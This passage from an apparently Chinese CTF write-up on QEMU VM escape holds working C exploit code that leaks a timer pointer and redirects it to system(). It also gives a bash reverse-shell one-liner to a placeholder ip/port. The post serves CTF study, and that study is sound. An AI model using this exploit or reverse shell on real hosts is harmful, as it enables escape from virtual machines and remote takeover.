if(mmio_fd < 0){
Err("Open pci");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_mem<0){
Err("mmap mmio_mem");
}
}
void init_cmb(){
int fdcmb = open("/sys/devices/pci0000:00/0000:00:04.0/resource1", O_RDWR|O_SYNC);
if (fdcmb < 0) {
Err("fdcmb open");
}
cmb_mem = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, fdcmb, 0);
if (cmb_mem == MAP_FAILED) {
Err("cmb");
}
}

void set_offset(uint64_t val){
outb(val, 0x240);
}

void set_mode(uint64_t val){
outb(val, 0x230);
}

void dma_set_cmd(uint64_t val){
mmio_write(0x98, val);
}


int main(int argc, char *argv[])
{
init_mmio();
init_cmb();

uint32_t res = ioperm(0x230, 0x30, 1);
if (res < 0) {
Err("ioperm");
}
//set memorymode and offset
set_mode(1);
set_offset(0xF0);
//
//read vmx_timer
uint64_t timer_addr = cmb_read(0x10 + 0x28 + 0x10);
printf("leaking timer_addr: 0x%lx\n",timer_addr);
uint64_t rebase = timer_addr - 0x4DCF10;
printf("leaking rebase: 0x%lx\n",rebase);
uint64_t system_plt_addr = rebase + 0x02AB860;
printf("leaking system_plt_addr: 0x%lx\n",system_plt_addr);
uint64_t sh_str = rebase + 0x82871C;
printf("leaking sh_str: 0x%lx\n",sh_str);
cmb_write(0x10 + 0x28 + 0x10,system_plt_addr);
cmb_write(0x10 + 0x28 + 0x18,sh_str);

//trick
dma_set_cmd(1);

}

seccon-2018-q-escape

vm-escape/qemu-escape/seccon-2018-q-escape at master · ray-cp/vm-escape (github.com)

qemu-pwn-seccon-2018-q-escape « 平凡路上 (ray-cp.github.io)

这题就算了,感觉需要对vga设备理解的更深入点,才能更好的分析

关于Qemu逃逸system的问题

  • cat /flag
  • 反弹 shell,/bin/bash -c ‘bash -i >& /dev/tcp/ip/port 0>&1’,在 QEMU 逃逸中,执行 system(“/bin/bash”) 是无法拿到 shell 的,或者说是无法与 shell 内容交互的,必须使用反弹 shell 的形式才能够拿到 shell。
  • 弹出计算器,gnome-calculator,这个大概比较适合用于做演示视频吧。

总结

结合前面做的qemupwn,也做了很多qemu逃逸题了,其实可以发现,常规逃逸题绕来绕去,也就是databuf溢出,配个可以泄露地址的QemuTimer之类的,复杂点就套个timer或者bhThread,来模拟DMA。

也有复杂点的题,像q-escape这种,结合具体设备比较紧密的,另外整个qemu如果抛开这种套路题来说,对设备模拟相关知识要求挺高的,像前面ioperm,非常规IOPort读写这种知识我是完全不知道的,还有很多需要提高啊

Refs

XCTF高校网络安全专题挑战赛_华为云专场_qemuzzz解题过程分析 | xiaoxiaorenwu

(´∇`) 被你发现啦~ qemu逃逸学习 | A1ex’s Blog

(´∇`) 被你发现啦~ 从qemu逃逸到逃跑 | A1ex’s Blog

从qemu逃逸到逃跑 - 安全客,安全资讯平台 (anquanke.com)

QEMU逃逸初探(一) - 安全客,安全资讯平台 (anquanke.com)